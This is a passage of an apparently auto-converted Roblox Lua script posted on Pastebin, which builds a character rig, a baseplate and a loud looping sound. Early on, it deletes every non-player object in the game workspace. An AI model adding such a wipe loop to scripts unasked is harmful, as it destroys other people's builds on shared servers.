Advertisement
DaOMEGAa32

DA DUCK SONNGG

Apr 9th, 2019
186
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 105.23 KB | None | 0 0
  1.  
  2. --Converted with ttyyuu12345's model to script plugin v4
  3. function sandbox(var,func)
  4. local env = getfenv(func)
  5. local newenv = setmetatable({},{
  6. __index = function(self,k)
  7. if k=="script" then
  8. return var
  9. else
  10. return env[k]
  11. end
  12. end,
  13. })
  14. setfenv(func,newenv)
  15. return func
  16. end
  17. cors = {}
  18. mas = Instance.new("Model",game:GetService("Lighting"))
  19. local chil = workspace:GetChildren()
  20. for i,v in pairs(chil) do
  21. if not (v==script or v:IsA("Camera") or v:IsA("Terrain") or game:GetService("Players"):GetPlayerFromCharacter(v)~=nil) then
  22. v:Destroy()
  23. end
  24. end
  25. Camera0 = Instance.new("Camera")
  26. Part1 = Instance.new("Part")
  27. Sound2 = Instance.new("Sound")
  28. SpawnLocation3 = Instance.new("SpawnLocation")
  29. Decal4 = Instance.new("Decal")
  30. Model5 = Instance.new("Model")
  31. MeshPart6 = Instance.new("MeshPart")
  32. Vector3Value7 = Instance.new("Vector3Value")
  33. Vector3Value8 = Instance.new("Vector3Value")
  34. Motor6D9 = Instance.new("Motor6D")
  35. MeshPart10 = Instance.new("MeshPart")
  36. Vector3Value11 = Instance.new("Vector3Value")
  37. Vector3Value12 = Instance.new("Vector3Value")
  38. Vector3Value13 = Instance.new("Vector3Value")
  39. Vector3Value14 = Instance.new("Vector3Value")
  40. Vector3Value15 = Instance.new("Vector3Value")
  41. Vector3Value16 = Instance.new("Vector3Value")
  42. Vector3Value17 = Instance.new("Vector3Value")
  43. Vector3Value18 = Instance.new("Vector3Value")
  44. Motor6D19 = Instance.new("Motor6D")
  45. MeshPart20 = Instance.new("MeshPart")
  46. Vector3Value21 = Instance.new("Vector3Value")
  47. Vector3Value22 = Instance.new("Vector3Value")
  48. Vector3Value23 = Instance.new("Vector3Value")
  49. Motor6D24 = Instance.new("Motor6D")
  50. MeshPart25 = Instance.new("MeshPart")
  51. Vector3Value26 = Instance.new("Vector3Value")
  52. Vector3Value27 = Instance.new("Vector3Value")
  53. Vector3Value28 = Instance.new("Vector3Value")
  54. Vector3Value29 = Instance.new("Vector3Value")
  55. Motor6D30 = Instance.new("Motor6D")
  56. MeshPart31 = Instance.new("MeshPart")
  57. Vector3Value32 = Instance.new("Vector3Value")
  58. Vector3Value33 = Instance.new("Vector3Value")
  59. Vector3Value34 = Instance.new("Vector3Value")
  60. Motor6D35 = Instance.new("Motor6D")
  61. MeshPart36 = Instance.new("MeshPart")
  62. Vector3Value37 = Instance.new("Vector3Value")
  63. Vector3Value38 = Instance.new("Vector3Value")
  64. Vector3Value39 = Instance.new("Vector3Value")
  65. Vector3Value40 = Instance.new("Vector3Value")
  66. Vector3Value41 = Instance.new("Vector3Value")
  67. Vector3Value42 = Instance.new("Vector3Value")
  68. Vector3Value43 = Instance.new("Vector3Value")
  69. Vector3Value44 = Instance.new("Vector3Value")
  70. Vector3Value45 = Instance.new("Vector3Value")
  71. Vector3Value46 = Instance.new("Vector3Value")
  72. Motor6D47 = Instance.new("Motor6D")
  73. MeshPart48 = Instance.new("MeshPart")
  74. Vector3Value49 = Instance.new("Vector3Value")
  75. Vector3Value50 = Instance.new("Vector3Value")
  76. Vector3Value51 = Instance.new("Vector3Value")
  77. Motor6D52 = Instance.new("Motor6D")
  78. MeshPart53 = Instance.new("MeshPart")
  79. Vector3Value54 = Instance.new("Vector3Value")
  80. Vector3Value55 = Instance.new("Vector3Value")
  81. Vector3Value56 = Instance.new("Vector3Value")
  82. Motor6D57 = Instance.new("Motor6D")
  83. Part58 = Instance.new("Part")
  84. SpecialMesh59 = Instance.new("SpecialMesh")
  85. Vector3Value60 = Instance.new("Vector3Value")
  86. Vector3Value61 = Instance.new("Vector3Value")
  87. Vector3Value62 = Instance.new("Vector3Value")
  88. Vector3Value63 = Instance.new("Vector3Value")
  89. Vector3Value64 = Instance.new("Vector3Value")
  90. Vector3Value65 = Instance.new("Vector3Value")
  91. Decal66 = Instance.new("Decal")
  92. Vector3Value67 = Instance.new("Vector3Value")
  93. Motor6D68 = Instance.new("Motor6D")
  94. Sound69 = Instance.new("Sound")
  95. Sound70 = Instance.new("Sound")
  96. Sound71 = Instance.new("Sound")
  97. Sound72 = Instance.new("Sound")
  98. Sound73 = Instance.new("Sound")
  99. Sound74 = Instance.new("Sound")
  100. Sound75 = Instance.new("Sound")
  101. Sound76 = Instance.new("Sound")
  102. Sound77 = Instance.new("Sound")
  103. MeshPart78 = Instance.new("MeshPart")
  104. Vector3Value79 = Instance.new("Vector3Value")
  105. Vector3Value80 = Instance.new("Vector3Value")
  106. Vector3Value81 = Instance.new("Vector3Value")
  107. Vector3Value82 = Instance.new("Vector3Value")
  108. Motor6D83 = Instance.new("Motor6D")
  109. MeshPart84 = Instance.new("MeshPart")
  110. Vector3Value85 = Instance.new("Vector3Value")
  111. Vector3Value86 = Instance.new("Vector3Value")
  112. Vector3Value87 = Instance.new("Vector3Value")
  113. Motor6D88 = Instance.new("Motor6D")
  114. MeshPart89 = Instance.new("MeshPart")
  115. Vector3Value90 = Instance.new("Vector3Value")
  116. Vector3Value91 = Instance.new("Vector3Value")
  117. Motor6D92 = Instance.new("Motor6D")
  118. MeshPart93 = Instance.new("MeshPart")
  119. Vector3Value94 = Instance.new("Vector3Value")
  120. Vector3Value95 = Instance.new("Vector3Value")
  121. Vector3Value96 = Instance.new("Vector3Value")
  122. Motor6D97 = Instance.new("Motor6D")
  123. MeshPart98 = Instance.new("MeshPart")
  124. Vector3Value99 = Instance.new("Vector3Value")
  125. Vector3Value100 = Instance.new("Vector3Value")
  126. Vector3Value101 = Instance.new("Vector3Value")
  127. Motor6D102 = Instance.new("Motor6D")
  128. Part103 = Instance.new("Part")
  129. Vector3Value104 = Instance.new("Vector3Value")
  130. Vector3Value105 = Instance.new("Vector3Value")
  131. MeshPart106 = Instance.new("MeshPart")
  132. Vector3Value107 = Instance.new("Vector3Value")
  133. Vector3Value108 = Instance.new("Vector3Value")
  134. Vector3Value109 = Instance.new("Vector3Value")
  135. Motor6D110 = Instance.new("Motor6D")
  136. Humanoid111 = Instance.new("Humanoid")
  137. NumberValue112 = Instance.new("NumberValue")
  138. NumberValue113 = Instance.new("NumberValue")
  139. NumberValue114 = Instance.new("NumberValue")
  140. NumberValue115 = Instance.new("NumberValue")
  141. Script116 = Instance.new("Script")
  142. LocalScript117 = Instance.new("LocalScript")
  143. LocalScript118 = Instance.new("LocalScript")
  144. StringValue119 = Instance.new("StringValue")
  145. Animation120 = Instance.new("Animation")
  146. StringValue121 = Instance.new("StringValue")
  147. Animation122 = Instance.new("Animation")
  148. StringValue123 = Instance.new("StringValue")
  149. Animation124 = Instance.new("Animation")
  150. NumberValue125 = Instance.new("NumberValue")
  151. Animation126 = Instance.new("Animation")
  152. NumberValue127 = Instance.new("NumberValue")
  153. Animation128 = Instance.new("Animation")
  154. NumberValue129 = Instance.new("NumberValue")
  155. StringValue130 = Instance.new("StringValue")
  156. Animation131 = Instance.new("Animation")
  157. NumberValue132 = Instance.new("NumberValue")
  158. Animation133 = Instance.new("Animation")
  159. NumberValue134 = Instance.new("NumberValue")
  160. Animation135 = Instance.new("Animation")
  161. NumberValue136 = Instance.new("NumberValue")
  162. StringValue137 = Instance.new("StringValue")
  163. Animation138 = Instance.new("Animation")
  164. NumberValue139 = Instance.new("NumberValue")
  165. Animation140 = Instance.new("Animation")
  166. NumberValue141 = Instance.new("NumberValue")
  167. Animation142 = Instance.new("Animation")
  168. NumberValue143 = Instance.new("NumberValue")
  169. StringValue144 = Instance.new("StringValue")
  170. Animation145 = Instance.new("Animation")
  171. StringValue146 = Instance.new("StringValue")
  172. Animation147 = Instance.new("Animation")
  173. NumberValue148 = Instance.new("NumberValue")
  174. Animation149 = Instance.new("Animation")
  175. NumberValue150 = Instance.new("NumberValue")
  176. StringValue151 = Instance.new("StringValue")
  177. Animation152 = Instance.new("Animation")
  178. StringValue153 = Instance.new("StringValue")
  179. Animation154 = Instance.new("Animation")
  180. StringValue155 = Instance.new("StringValue")
  181. Animation156 = Instance.new("Animation")
  182. StringValue157 = Instance.new("StringValue")
  183. Animation158 = Instance.new("Animation")
  184. StringValue159 = Instance.new("StringValue")
  185. Animation160 = Instance.new("Animation")
  186. StringValue161 = Instance.new("StringValue")
  187. Animation162 = Instance.new("Animation")
  188. StringValue163 = Instance.new("StringValue")
  189. Animation164 = Instance.new("Animation")
  190. StringValue165 = Instance.new("StringValue")
  191. Animation166 = Instance.new("Animation")
  192. StringValue167 = Instance.new("StringValue")
  193. Animation168 = Instance.new("Animation")
  194. StringValue169 = Instance.new("StringValue")
  195. Animation170 = Instance.new("Animation")
  196. StringValue171 = Instance.new("StringValue")
  197. Animation172 = Instance.new("Animation")
  198. StringValue173 = Instance.new("StringValue")
  199. Animation174 = Instance.new("Animation")
  200. Script175 = Instance.new("Script")
  201. Model176 = Instance.new("Model")
  202. Part177 = Instance.new("Part")
  203. CylinderMesh178 = Instance.new("CylinderMesh")
  204. Part179 = Instance.new("Part")
  205. CylinderMesh180 = Instance.new("CylinderMesh")
  206. Part181 = Instance.new("Part")
  207. CylinderMesh182 = Instance.new("CylinderMesh")
  208. Part183 = Instance.new("Part")
  209. CylinderMesh184 = Instance.new("CylinderMesh")
  210. Part185 = Instance.new("Part")
  211. CylinderMesh186 = Instance.new("CylinderMesh")
  212. Part187 = Instance.new("Part")
  213. Part188 = Instance.new("Part")
  214. Part189 = Instance.new("Part")
  215. CylinderMesh190 = Instance.new("CylinderMesh")
  216. Part191 = Instance.new("Part")
  217. CylinderMesh192 = Instance.new("CylinderMesh")
  218. Part193 = Instance.new("Part")
  219. Part194 = Instance.new("Part")
  220. Part195 = Instance.new("Part")
  221. CylinderMesh196 = Instance.new("CylinderMesh")
  222. Part197 = Instance.new("Part")
  223. CylinderMesh198 = Instance.new("CylinderMesh")
  224. Part199 = Instance.new("Part")
  225. Decal200 = Instance.new("Decal")
  226. VehicleSeat201 = Instance.new("VehicleSeat")
  227. CylinderMesh202 = Instance.new("CylinderMesh")
  228. Part203 = Instance.new("Part")
  229. Part204 = Instance.new("Part")
  230. CylinderMesh205 = Instance.new("CylinderMesh")
  231. SpecialMesh206 = Instance.new("SpecialMesh")
  232. Part207 = Instance.new("Part")
  233. Decal208 = Instance.new("Decal")
  234. BlockMesh209 = Instance.new("BlockMesh")
  235. Part210 = Instance.new("Part")
  236. Part211 = Instance.new("Part")
  237. CylinderMesh212 = Instance.new("CylinderMesh")
  238. BodyColors213 = Instance.new("BodyColors")
  239. Shirt214 = Instance.new("Shirt")
  240. Accessory215 = Instance.new("Accessory")
  241. Part216 = Instance.new("Part")
  242. SpecialMesh217 = Instance.new("SpecialMesh")
  243. Vector3Value218 = Instance.new("Vector3Value")
  244. Weld219 = Instance.new("Weld")
  245. Camera220 = Instance.new("Camera")
  246. Script221 = Instance.new("Script")
  247. Pants222 = Instance.new("Pants")
  248. VelocityMotor223 = Instance.new("VelocityMotor")
  249. Weld224 = Instance.new("Weld")
  250. Script225 = Instance.new("Script")
  251. Script226 = Instance.new("Script")
  252. Weld227 = Instance.new("Weld")
  253. Script228 = Instance.new("Script")
  254. RotateP229 = Instance.new("RotateP")
  255. Script230 = Instance.new("Script")
  256. Model231 = Instance.new("Model")
  257. Part232 = Instance.new("Part")
  258. SpecialMesh233 = Instance.new("SpecialMesh")
  259. Part234 = Instance.new("Part")
  260. Snap235 = Instance.new("Snap")
  261. Camera0.Parent = mas
  262. Camera0.CFrame = CFrame.new(234.378723, 12.3685293, 12.9457541, 0.975134373, -0.0741772801, 0.208831832, 7.45057971e-09, 0.942320228, 0.334713072, -0.22161451, -0.326390207, 0.918888807)
  263. Camera0.CoordinateFrame = CFrame.new(234.378723, 12.3685293, 12.9457541, 0.975134373, -0.0741772801, 0.208831832, 7.45057971e-09, 0.942320228, 0.334713072, -0.22161451, -0.326390207, 0.918888807)
  264. Camera0.Focus = CFrame.new(233.96106, 11.6991034, 11.1079769, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  265. Camera0.focus = CFrame.new(233.96106, 11.6991034, 11.1079769, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  266. Part1.Name = "Baseplate"
  267. Part1.Parent = mas
  268. Part1.CFrame = CFrame.new(230, -10, -5, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  269. Part1.Position = Vector3.new(230, -10, -5)
  270. Part1.Color = Color3.new(0, 1, 0)
  271. Part1.Size = Vector3.new(52, 20, 58)
  272. Part1.Anchored = true
  273. Part1.BrickColor = BrickColor.new("Lime green")
  274. Part1.Locked = true
  275. Part1.Material = Enum.Material.Grass
  276. Part1.brickColor = BrickColor.new("Lime green")
  277. Part1.FormFactor = Enum.FormFactor.Symmetric
  278. Part1.formFactor = Enum.FormFactor.Symmetric
  279. Sound2.Parent = Part1
  280. Sound2.Looped = true
  281. Sound2.Playing = true
  282. Sound2.SoundId = "rbxassetid://1971234547"
  283. Sound2.Volume = 10
  284. SpawnLocation3.Parent = mas
  285. SpawnLocation3.CFrame = CFrame.new(238, 0.500001013, 12, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  286. SpawnLocation3.Position = Vector3.new(238, 0.500001013, 12)
  287. SpawnLocation3.Color = Color3.new(0, 1, 0)
  288. SpawnLocation3.Size = Vector3.new(12, 1, 12)
  289. SpawnLocation3.Anchored = true
  290. SpawnLocation3.BottomSurface = Enum.SurfaceType.Smooth
  291. SpawnLocation3.BrickColor = BrickColor.new("Lime green")
  292. SpawnLocation3.Material = Enum.Material.Grass
  293. SpawnLocation3.TopSurface = Enum.SurfaceType.Smooth
  294. SpawnLocation3.brickColor = BrickColor.new("Lime green")
  295. Decal4.Parent = SpawnLocation3
  296. Decal4.Texture = "rbxasset://textures/SpawnLocation.png"
  297. Decal4.Face = Enum.NormalId.Top
  298. Model5.Name = "MeWWEbcw"
  299. Model5.Parent = mas
  300. Model5.PrimaryPart = Part103
  301. MeshPart6.Name = "RightFoot"
  302. MeshPart6.Parent = Model5
  303. MeshPart6.CFrame = CFrame.new(231.009674, 0.157492876, -19.5858002, -0.954082847, 3.64971918e-21, 0.299544066, 6.38233093e-21, 1, 8.14420301e-21, -0.299544066, 9.6820279e-21, -0.954082847)
  304. MeshPart6.Orientation = Vector3.new(0, 162.570007, 0)
  305. MeshPart6.Position = Vector3.new(231.009674, 0.157492876, -19.5858002)
  306. MeshPart6.Rotation = Vector3.new(-180, 17.4300003, -180)
  307. MeshPart6.Color = Color3.new(0.917647, 0.721569, 0.572549)
  308. MeshPart6.Velocity = Vector3.new(-1.40129846e-45, 0, -1.40129846e-45)
  309. MeshPart6.Size = Vector3.new(0.99999994, 0.315000236, 1)
  310. MeshPart6.Anchored = true
  311. MeshPart6.BrickColor = BrickColor.new("Light orange")
  312. MeshPart6.CanCollide = false
  313. MeshPart6.Locked = true
  314. MeshPart6.brickColor = BrickColor.new("Light orange")
  315. Vector3Value7.Name = "OriginalPosition"
  316. Vector3Value7.Parent = mas
  317. Vector3Value7.Value = Vector3.new(-0, 0.0499997139, 9.84534345e-05)
  318. Vector3Value8.Name = "OriginalSize"
  319. Vector3Value8.Parent = MeshPart6
  320. Vector3Value8.Value = Vector3.new(0.99999994, 0.300000191, 1)
  321. Motor6D9.Name = "RightAnkle"
  322. Motor6D9.Parent = MeshPart6
  323. Motor6D9.C0 = CFrame.new(-0, -0.78750056, 9.82746205e-05, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  324. Motor6D9.C1 = CFrame.new(-0, 0.0524997041, 9.84534345e-05, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  325. Motor6D9.Part0 = MeshPart84
  326. Motor6D9.Part1 = MeshPart6
  327. Motor6D9.part1 = MeshPart6
  328. MeshPart10.Name = "LowerTorso"
  329. MeshPart10.Parent = Model5
  330. MeshPart10.CFrame = CFrame.new(231.48671, 2.30999279, -19.4360275, -0.954082847, 3.64971918e-21, 0.299544066, 6.38233093e-21, 1, 8.14420301e-21, -0.299544066, 9.6820279e-21, -0.954082847)
  331. MeshPart10.Orientation = Vector3.new(0, 162.570007, 0)
  332. MeshPart10.Position = Vector3.new(231.48671, 2.30999279, -19.4360275)
  333. MeshPart10.Rotation = Vector3.new(-180, 17.4300003, -180)
  334. MeshPart10.Color = Color3.new(0.917647, 0.721569, 0.572549)
  335. MeshPart10.Velocity = Vector3.new(-1.40129846e-45, 0, -1.40129846e-45)
  336. MeshPart10.Size = Vector3.new(1.99999976, 0.419999957, 1.00000012)
  337. MeshPart10.Anchored = true
  338. MeshPart10.BrickColor = BrickColor.new("Light orange")
  339. MeshPart10.Locked = true
  340. MeshPart10.brickColor = BrickColor.new("Light orange")
  341. Vector3Value11.Name = "OriginalPosition"
  342. Vector3Value11.Parent = mas
  343. Vector3Value11.Value = Vector3.new(-1.1920929e-07, 0.150000036, -0)
  344. Vector3Value12.Name = "OriginalPosition"
  345. Vector3Value12.Parent = mas
  346. Vector3Value12.Value = Vector3.new(-1.1920929e-07, 0.550000072, 7.64462551e-20)
  347. Vector3Value13.Name = "OriginalPosition"
  348. Vector3Value13.Parent = mas
  349. Vector3Value13.Value = Vector3.new(-0.500000119, -0.199999958, -0)
  350. Vector3Value14.Name = "OriginalPosition"
  351. Vector3Value14.Parent = mas
  352. Vector3Value14.Value = Vector3.new(0.499999881, -0.199999958, -0)
  353. Vector3Value15.Name = "OriginalPosition"
  354. Vector3Value15.Parent = mas
  355. Vector3Value15.Value = Vector3.new(0, -0.200000003, 0)
  356. Vector3Value16.Name = "OriginalPosition"
  357. Vector3Value16.Parent = mas
  358. Vector3Value16.Value = Vector3.new(0, -0.200000003, -0.5)
  359. Vector3Value17.Name = "OriginalPosition"
  360. Vector3Value17.Parent = mas
  361. Vector3Value17.Value = Vector3.new(0, -0.200000003, 0.5)
  362. Vector3Value18.Name = "OriginalSize"
  363. Vector3Value18.Parent = MeshPart10
  364. Vector3Value18.Value = Vector3.new(1.99999976, 0.399999976, 1.00000012)
  365. Motor6D19.Name = "Root"
  366. Motor6D19.Parent = MeshPart10
  367. Motor6D19.C0 = CFrame.new(-0, -0.682500005, -0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  368. Motor6D19.C1 = CFrame.new(-1.1920929e-07, 0.157500029, -0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  369. Motor6D19.Part0 = Part103
  370. Motor6D19.Part1 = MeshPart10
  371. Motor6D19.part1 = MeshPart10
  372. MeshPart20.Name = "RightHand"
  373. MeshPart20.Parent = Model5
  374. MeshPart20.CFrame = CFrame.new(230.055588, 2.25749278, -19.8853436, -0.954082847, 3.64971918e-21, 0.299544066, 6.38233093e-21, 1, 8.14420301e-21, -0.299544066, 9.6820279e-21, -0.954082847)
  375. MeshPart20.Orientation = Vector3.new(0, 162.570007, 0)
  376. MeshPart20.Position = Vector3.new(230.055588, 2.25749278, -19.8853436)
  377. MeshPart20.Rotation = Vector3.new(-180, 17.4300003, -180)
  378. MeshPart20.Color = Color3.new(0.917647, 0.721569, 0.572549)
  379. MeshPart20.Velocity = Vector3.new(-1.40129846e-45, 0, -1.40129846e-45)
  380. MeshPart20.Size = Vector3.new(0.999999881, 0.314999968, 0.999999881)
  381. MeshPart20.Anchored = true
  382. MeshPart20.BrickColor = BrickColor.new("Light orange")
  383. MeshPart20.CanCollide = false
  384. MeshPart20.Locked = true
  385. MeshPart20.brickColor = BrickColor.new("Light orange")
  386. Vector3Value21.Name = "OriginalPosition"
  387. Vector3Value21.Parent = mas
  388. Vector3Value21.Value = Vector3.new(3.57627869e-07, 0.149999991, 5.96046448e-08)
  389. Vector3Value22.Name = "OriginalPosition"
  390. Vector3Value22.Parent = mas
  391. Vector3Value22.Value = Vector3.new(0, -0.149999633, -1.46306121e-07)
  392. Vector3Value23.Name = "OriginalSize"
  393. Vector3Value23.Parent = MeshPart20
  394. Vector3Value23.Value = Vector3.new(0.999999881, 0.299999982, 0.999999881)
  395. Motor6D24.Name = "RightWrist"
  396. Motor6D24.Parent = MeshPart20
  397. Motor6D24.C0 = CFrame.new(1.1920929e-07, -0.577499926, -6.86244753e-18, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  398. Motor6D24.C1 = CFrame.new(3.57627869e-07, 0.157499984, 5.96046448e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  399. Motor6D24.Part0 = MeshPart53
  400. Motor6D24.Part1 = MeshPart20
  401. Motor6D24.part1 = MeshPart20
  402. MeshPart25.Name = "RightUpperArm"
  403. MeshPart25.Parent = Model5
  404. MeshPart25.CFrame = CFrame.new(230.055588, 3.464993, -19.8853436, -0.954082847, 3.64971918e-21, 0.299544066, 6.38233093e-21, 1, 8.14420301e-21, -0.299544066, 9.6820279e-21, -0.954082847)
  405. MeshPart25.Orientation = Vector3.new(0, 162.570007, 0)
  406. MeshPart25.Position = Vector3.new(230.055588, 3.464993, -19.8853436)
  407. MeshPart25.Rotation = Vector3.new(-180, 17.4300003, -180)
  408. MeshPart25.Color = Color3.new(0.917647, 0.721569, 0.572549)
  409. MeshPart25.Velocity = Vector3.new(-1.40129846e-45, 0, -1.40129846e-45)
  410. MeshPart25.Size = Vector3.new(0.999999642, 1.47000027, 0.99999994)
  411. MeshPart25.Anchored = true
  412. MeshPart25.BrickColor = BrickColor.new("Light orange")
  413. MeshPart25.CanCollide = false
  414. MeshPart25.Locked = true
  415. MeshPart25.brickColor = BrickColor.new("Light orange")
  416. Vector3Value26.Name = "OriginalPosition"
  417. Vector3Value26.Parent = mas
  418. Vector3Value26.Value = Vector3.new(-0.250020266, 0.449999809, 8.94069672e-08)
  419. Vector3Value27.Name = "OriginalPosition"
  420. Vector3Value27.Parent = mas
  421. Vector3Value27.Value = Vector3.new(-5.96046448e-07, -0.200000167, 8.94069672e-08)
  422. Vector3Value28.Name = "OriginalPosition"
  423. Vector3Value28.Parent = mas
  424. Vector3Value28.Value = Vector3.new(-9.53674316e-07, 0.700000286, -2.70968314e-08)
  425. Vector3Value29.Name = "OriginalSize"
  426. Vector3Value29.Parent = MeshPart25
  427. Vector3Value29.Value = Vector3.new(0.999999642, 1.40000033, 0.99999994)
  428. Motor6D30.Name = "RightShoulder"
  429. Motor6D30.Parent = MeshPart25
  430. Motor6D30.C0 = CFrame.new(1.24998045, 0.577499926, 1.1920929e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  431. Motor6D30.C1 = CFrame.new(-0.250020266, 0.472499788, 8.94069672e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  432. Motor6D30.Part0 = MeshPart36
  433. Motor6D30.Part1 = MeshPart25
  434. Motor6D30.part1 = MeshPart25
  435. MeshPart31.Name = "LeftLowerLeg"
  436. MeshPart31.Parent = Model5
  437. MeshPart31.CFrame = CFrame.new(231.963745, 0.997493386, -19.2862549, -0.954082847, 3.64971918e-21, 0.299544066, 6.38233093e-21, 1, 8.14420301e-21, -0.299544066, 9.6820279e-21, -0.954082847)
  438. MeshPart31.Orientation = Vector3.new(0, 162.570007, 0)
  439. MeshPart31.Position = Vector3.new(231.963745, 0.997493386, -19.2862549)
  440. MeshPart31.Rotation = Vector3.new(-180, 17.4300003, -180)
  441. MeshPart31.Color = Color3.new(0.917647, 0.721569, 0.572549)
  442. MeshPart31.Velocity = Vector3.new(-1.40129846e-45, 0, -1.40129846e-45)
  443. MeshPart31.Size = Vector3.new(0.99999994, 1.57500029, 1.00000012)
  444. MeshPart31.Anchored = true
  445. MeshPart31.BrickColor = BrickColor.new("Light orange")
  446. MeshPart31.CanCollide = false
  447. MeshPart31.Locked = true
  448. MeshPart31.brickColor = BrickColor.new("Light orange")
  449. Vector3Value32.Name = "OriginalPosition"
  450. Vector3Value32.Parent = mas
  451. Vector3Value32.Value = Vector3.new(-0, 0.249999627, -1.78813934e-07)
  452. Vector3Value33.Name = "OriginalPosition"
  453. Vector3Value33.Parent = mas
  454. Vector3Value33.Value = Vector3.new(-1.78813934e-07, -0.749997616, 6.29340548e-07)
  455. Vector3Value34.Name = "OriginalSize"
  456. Vector3Value34.Parent = MeshPart31
  457. Vector3Value34.Value = Vector3.new(0.99999994, 1.50000036, 1.00000012)
  458. Motor6D35.Name = "LeftKnee"
  459. Motor6D35.Parent = MeshPart31
  460. Motor6D35.C0 = CFrame.new(5.96046448e-08, -0.314999938, -1.63912773e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  461. Motor6D35.C1 = CFrame.new(-0, 0.262499601, -1.78813934e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  462. Motor6D35.Part0 = MeshPart48
  463. Motor6D35.Part1 = MeshPart31
  464. Motor6D35.part1 = MeshPart31
  465. MeshPart36.Name = "UpperTorso"
  466. MeshPart36.Parent = Model5
  467. MeshPart36.CFrame = CFrame.new(231.48671, 3.35999298, -19.4360275, -0.954082847, 3.64971918e-21, 0.299544066, 6.38233093e-21, 1, 8.14420301e-21, -0.299544066, 9.6820279e-21, -0.954082847)
  468. MeshPart36.Orientation = Vector3.new(0, 162.570007, 0)
  469. MeshPart36.Position = Vector3.new(231.48671, 3.35999298, -19.4360275)
  470. MeshPart36.Rotation = Vector3.new(-180, 17.4300003, -180)
  471. MeshPart36.Color = Color3.new(0.917647, 0.721569, 0.572549)
  472. MeshPart36.Velocity = Vector3.new(-1.40129846e-45, 0, -1.40129846e-45)
  473. MeshPart36.Size = Vector3.new(2, 1.68000007, 1.00000036)
  474. MeshPart36.Anchored = true
  475. MeshPart36.BrickColor = BrickColor.new("Light orange")
  476. MeshPart36.Locked = true
  477. MeshPart36.brickColor = BrickColor.new("Light orange")
  478. Vector3Value37.Name = "OriginalPosition"
  479. Vector3Value37.Parent = mas
  480. Vector3Value37.Value = Vector3.new(-5.96046448e-08, -0.450000018, 1.1920929e-07)
  481. Vector3Value38.Name = "OriginalPosition"
  482. Vector3Value38.Parent = mas
  483. Vector3Value38.Value = Vector3.new(-5.96046448e-08, 0.799999952, 1.1920929e-07)
  484. Vector3Value39.Name = "OriginalPosition"
  485. Vector3Value39.Parent = mas
  486. Vector3Value39.Value = Vector3.new(-1.24989128, 0.549999952, 1.1920929e-07)
  487. Vector3Value40.Name = "OriginalPosition"
  488. Vector3Value40.Parent = mas
  489. Vector3Value40.Value = Vector3.new(1.24998045, 0.549999952, 1.1920929e-07)
  490. Vector3Value41.Name = "OriginalPosition"
  491. Vector3Value41.Parent = mas
  492. Vector3Value41.Value = Vector3.new(-5.96046448e-08, -0.200000048, -0.499999881)
  493. Vector3Value42.Name = "OriginalPosition"
  494. Vector3Value42.Parent = mas
  495. Vector3Value42.Value = Vector3.new(-5.96046448e-08, -0.200000048, 0.5)
  496. Vector3Value43.Name = "OriginalPosition"
  497. Vector3Value43.Parent = mas
  498. Vector3Value43.Value = Vector3.new(-0.999999881, 0.800000191, -7.27397378e-08)
  499. Vector3Value44.Name = "OriginalPosition"
  500. Vector3Value44.Parent = mas
  501. Vector3Value44.Value = Vector3.new(0.99999994, 0.799999952, 4.61295997e-08)
  502. Vector3Value45.Name = "OriginalPosition"
  503. Vector3Value45.Parent = mas
  504. Vector3Value45.Value = Vector3.new(0, 0.800000012, 0)
  505. Vector3Value46.Name = "OriginalSize"
  506. Vector3Value46.Parent = MeshPart36
  507. Vector3Value46.Value = Vector3.new(2, 1.60000014, 1.00000036)
  508. Motor6D47.Name = "Waist"
  509. Motor6D47.Parent = MeshPart36
  510. Motor6D47.C0 = CFrame.new(-1.1920929e-07, 0.577500045, 7.64462551e-20, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  511. Motor6D47.C1 = CFrame.new(-5.96046448e-08, -0.472499996, 1.1920929e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  512. Motor6D47.Part0 = MeshPart10
  513. Motor6D47.Part1 = MeshPart36
  514. Motor6D47.part1 = MeshPart36
  515. MeshPart48.Name = "LeftUpperLeg"
  516. MeshPart48.Parent = Model5
  517. MeshPart48.CFrame = CFrame.new(231.963745, 1.5749929, -19.2862549, -0.954082847, 3.64971918e-21, 0.299544066, 6.38233093e-21, 1, 8.14420301e-21, -0.299544066, 9.6820279e-21, -0.954082847)
  518. MeshPart48.Orientation = Vector3.new(0, 162.570007, 0)
  519. MeshPart48.Position = Vector3.new(231.963745, 1.5749929, -19.2862549)
  520. MeshPart48.Rotation = Vector3.new(-180, 17.4300003, -180)
  521. MeshPart48.Color = Color3.new(0.917647, 0.721569, 0.572549)
  522. MeshPart48.Velocity = Vector3.new(-1.40129846e-45, 0, -1.40129846e-45)
  523. MeshPart48.Size = Vector3.new(1.00000036, 1.57499969, 0.999999881)
  524. MeshPart48.Anchored = true
  525. MeshPart48.BrickColor = BrickColor.new("Light orange")
  526. MeshPart48.CanCollide = false
  527. MeshPart48.Locked = true
  528. MeshPart48.brickColor = BrickColor.new("Light orange")
  529. Vector3Value49.Name = "OriginalPosition"
  530. Vector3Value49.Parent = mas
  531. Vector3Value49.Value = Vector3.new(5.96046448e-08, 0.5, -1.63912773e-07)
  532. Vector3Value50.Name = "OriginalPosition"
  533. Vector3Value50.Parent = mas
  534. Vector3Value50.Value = Vector3.new(5.96046448e-08, -0.299999952, -1.63912773e-07)
  535. Vector3Value51.Name = "OriginalSize"
  536. Vector3Value51.Parent = MeshPart48
  537. Vector3Value51.Value = Vector3.new(1.00000036, 1.49999976, 0.999999881)
  538. Motor6D52.Name = "LeftHip"
  539. Motor6D52.Parent = MeshPart48
  540. Motor6D52.C0 = CFrame.new(-0.500000119, -0.209999949, -0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
